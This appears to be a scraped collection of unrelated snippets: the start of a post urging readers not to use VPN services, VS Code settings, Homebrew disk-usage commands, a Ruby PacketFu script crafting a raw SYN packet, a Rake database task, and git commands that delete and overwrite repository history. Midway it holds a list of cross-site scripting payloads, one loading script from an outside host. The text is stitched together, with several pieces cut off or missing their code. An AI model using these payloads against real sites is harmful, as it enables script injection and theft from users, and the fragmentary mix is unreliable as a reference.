Beyar Beyarz

Don't use VPN services.

No, seriously, don't. You're probably reading this because you've asked what VPN service to use, and this is the answer.

Note: The content in this post does not apply to using VPN for their intended purpose; that is, as a virtual private (internal) network. It only applies to using it as a glorified proxy, which is what every third-party "VPN provider" does.

A Russian translation of this article can be found here, contributed by Timur Demin.
A Turkish translation can be found here, contributed by agyild.
There's also this article about VPN services, which is honestly better written (and has more cat pictures!) than my article.

Image source

https://gyazo.com/eb5c5741b6a9a16c692170a41a49c858.png

Try resize it!

![](https://gyazo.com/eb5c5741b6a9a16c692170a41a49c858.png | width=100)

CSS Layout Debugger

A tweet-sized debugger for visualizing your CSS layouts. Outlines every DOM element on your page a random (valid) CSS hex color.

One-line version to paste in your DevTools

Use $$ if your browser aliases it:

~ 108 byte version

	{
	"editor.minimap.enabled": false, // removes minimap
	"editor.renderWhitespace": "none", // removes whitespace chars
	"editor.renderIndentGuides": false, // removes indent guides
	"editor.renderLineHighlight": "none", // removes line highlight
	"editor.overviewRulerBorder": false, // removes border from overview ruler (located on the right, same position as the scrollbar)
	"editor.hideCursorInOverviewRuler": true, // hides cursor mark in the overview ruler
	"editor.folding": false, // removes the folding feature
	"editor.occurrencesHighlight": false, // removes highlights occurrences (still works when you select a word)
	"editor.matchBrackets": false, // removes the highlight of matching brackets (I use Subtle Match Brackets extension for this)

	# this original one uses values returned from 'brew info'
	brew list --formula \| xargs -n1 -P8 -I {} \
	sh -c "brew info {} \| egrep '[0-9]* files, ' \| sed 's/^.[0-9] files, \(.\)).$/{} \1/'" \| \
	sort -h -r -k2 - \| column -t

	# faster alternative using 'du'
	du -sch $(brew --cellar)// \| sed "s\|$(brew --cellar)/\([^/]\)/.\|\1\|" \| sort -k1h

	require 'packetfu'

	config = PacketFu::Utils.whoami?

	synpkt = PacketFu::TCPPacket.new(config: config, flavor: "Linux")
	synpkt.ip_daddr = "216.58.221.142" # ip of google.com
	synpkt.tcp_dst = 80 # port of google.com
	synpkt.tcp_flags.syn = 1 # SYN
	synpkt.recalc

	';alert(String.fromCharCode(88,83,83))//';alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
	'';!--"<XSS>=&{()}
	0\"autofocus/onfocus=alert(1)--><video/poster/onerror=prompt(2)>"-confirm(3)-"
	<script/src=data:,alert()>
	<marquee/onstart=alert()>
	<video/poster/onerror=alert()>
	<isindex/autofocus/onfocus=alert()>
	<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
	<IMG SRC="javascript:alert('XSS');">
	<IMG SRC=javascript:alert('XSS')>

	require "active_record"

	namespace :db do

	db_config = YAML::load(File.open('config/database.yml'))
	db_config_admin = db_config.merge({'database' => 'postgres', 'schema_search_path' => 'public'})

	desc "Create the database"
	task :create do
	ActiveRecord::Base.establish_connection(db_config_admin)

	-- Remove the history from
	rm -rf .git

	-- recreate the repos from the current content only
	git init
	git add .
	git commit -m "Initial commit"

	-- push to the github remote repos ensuring you overwrite history
	git remote add origin [email protected]:<YOUR ACCOUNT>/<YOUR REPOS>.git